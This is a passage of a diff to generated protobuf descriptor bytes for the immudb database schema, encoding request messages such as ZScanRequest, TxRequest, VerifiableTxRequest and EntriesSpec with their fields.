0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, + 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, + 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, + 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, + 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, + 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, + 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, + 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, + 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, + 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, - 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, - 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, - 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, - 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, - 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, - 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, - 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, - 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, - 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, - 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, - 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, - 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, - 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, - 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, - 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, - 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, - 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, - 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, - 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, - 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, - 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, - 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, - 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, - 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, - 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, - 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, - 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, - 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, - 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, - 0x74, 0x78, 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, - 0x50, 